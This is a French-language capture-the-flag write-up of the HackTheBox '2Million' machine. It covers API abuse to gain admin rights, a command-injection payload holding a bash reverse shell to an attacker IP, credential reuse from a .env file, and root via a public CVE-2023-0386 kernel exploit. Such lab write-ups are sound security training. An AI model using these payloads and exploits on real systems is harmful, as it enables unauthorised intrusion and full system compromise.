HackTheBox Writeup

2millions

2Million - HackTheBox

Vue d'Ensemble

PropriétéValeur
IP10.10.11.221
OSLinux (Ubuntu)
DifficultéEasy/Medium
Points ClésAPI Abuse, Command Injection, Kernel Exploit

Phase 1 : Reconnaissance

Scan de Ports

nmap -p- --min-rate=1000 -T4 10.10.11.221
nmap -sCV -p 22,80 10.10.11.221

Résultats : Ports ouverts 22 (SSH) et 80 (HTTP). Le serveur redirige vers 2million.htb.

Configuration DNS

echo "10.10.11.221 2million.htb" | sudo tee -a /etc/hosts

Phase 2 : Exploitation Web - Invite Code

L'application reproduit l'ancien front HTB avec les pages /login, /invite, /register.

Génération du Code d'Invitation

Le JavaScript /js/inviteapi.min.js expose les fonctions makeInviteCode() et verifyInviteCode().

Étape 1 : Récupérer le hint (ROT13)

curl -X POST http://2million.htb/api/v1/invite/how/to/generate -s | jq -r '.data.data' | tr 'a-zA-Z' 'n-za-mN-ZA-M'
# Résultat: "In order to generate the invite code, make a POST request to /api/v1/invite/generate"

Étape 2 : Générer l'invite (Base64)

curl -X POST http://2million.htb/api/v1/invite/generate -s | jq -r '.data.code' | base64 -d
# Résultat: Code d'invitation (ex: MIPSX-44EZG-USVU8-194UK)

Étape 3 : Inscription

Entrer le code sur /invite puis s'inscrire sur /register.


Phase 3 : Énumération Authentifiée

Découverte des Endpoints API

Après inscription/login, l'API expose plusieurs routes via /api/v1.

Endpoints admin recensés :

  • GET /api/v1/admin/auth
  • POST /api/v1/admin/vpn/generate
  • PUT /api/v1/admin/settings/update

Phase 4 : Élévation de Privilèges Admin

Exploitation de l'Endpoint Update

L'endpoint PUT /api/v1/admin/settings/update accepte un JSON permettant de s'auto-promouvoir en administrateur.

curl -s -X PUT "http://2million.htb/api/v1/admin/settings/update" \
  -H "Content-Type: application/json" \
  -H "Cookie: PHPSESSID=<votre_session>" \
  -d '{"email":"[email protected]","is_admin":1}'

Phase 5 : Command Injection - Obtenir un Shell

Exploitation de la Génération VPN

Une fois admin, l'endpoint POST /api/v1/admin/vpn/generate est vulnérable à une injection de commande via le paramètre username.

Configuration du listener :

nc -lvnp 4444

Payload d'exploitation :

# POST /api/v1/admin/vpn/generate
# Body JSON: {"username":"victim; bash -i >& /dev/tcp/10.10.14.X/4444 0>&1 #"}

Amélioration du Shell

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Puis: Ctrl+Z
stty raw -echo; fg
export TERM=xterm

Phase 6 : Escalade vers l'Utilisateur Admin

Découverte des Credentials

Dans le webroot /var/www/html, le fichier .env contient les identifiants :

DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123

Connexion SSH

ssh [email protected]
# Mot de passe: SuperDuperPass123

ou

su - admin
# Mot de passe: SuperDuperPass123

🚩 Flag User

cat /home/admin/user.txt

🚩 Flag User: HTB{...}


Phase 7 : Escalade Root (CVE-2023-0386)

Identification de la Vulnérabilité

La machine utilise un noyau vulnérable à CVE-2023-0386 (OverlayFS / FUSE).

uname -a
# Exemple: 5.15.70-051570-generic

Exploitation

POC utilisé : https://github.com/xkaneiki/CVE-2023-0386

Étapes d'exploitation :

# Sur la machine locale: Télécharger et transférer le POC
wget https://github.com/xkaneiki/CVE-2023-0386/archive/refs/heads/main.zip

# Sur la machine cible: Après transfert
unzip CVE-2023-0386-main.zip
cd CVE-2023-0386-main
make all
./fuse ./ovlcap/lower ./gc &
./exp
# Si exploit réussi -> shell root

🚩 Flag Root

cat /root/root.txt

🚩 Flag Root: HTB{...}


Compétences Développées

  • Analyse et exploitation d'APIs REST
  • Décodage ROT13 et Base64
  • Command Injection
  • Énumération post-exploitation
  • Exploitation de vulnérabilités kernel (CVE-2023-0386)

Outils Utilisés

  • nmap - Reconnaissance réseau
  • curl + jq - Interaction avec l'API
  • burpsuite - Manipulation de requêtes HTTP
  • nc - Reverse shell
  • ssh / sshpass - Connexion distante
  • POC CVE-2023-0386 - Exploit kernel

Remarques et Bonnes Pratiques

  • Ces techniques doivent être utilisées uniquement sur des environnements autorisés (CTF/lab)
  • Ne pas appliquer sur des systèmes en production sans autorisation explicite
  • Adapter les adresses IP et les commandes selon votre environnement

Références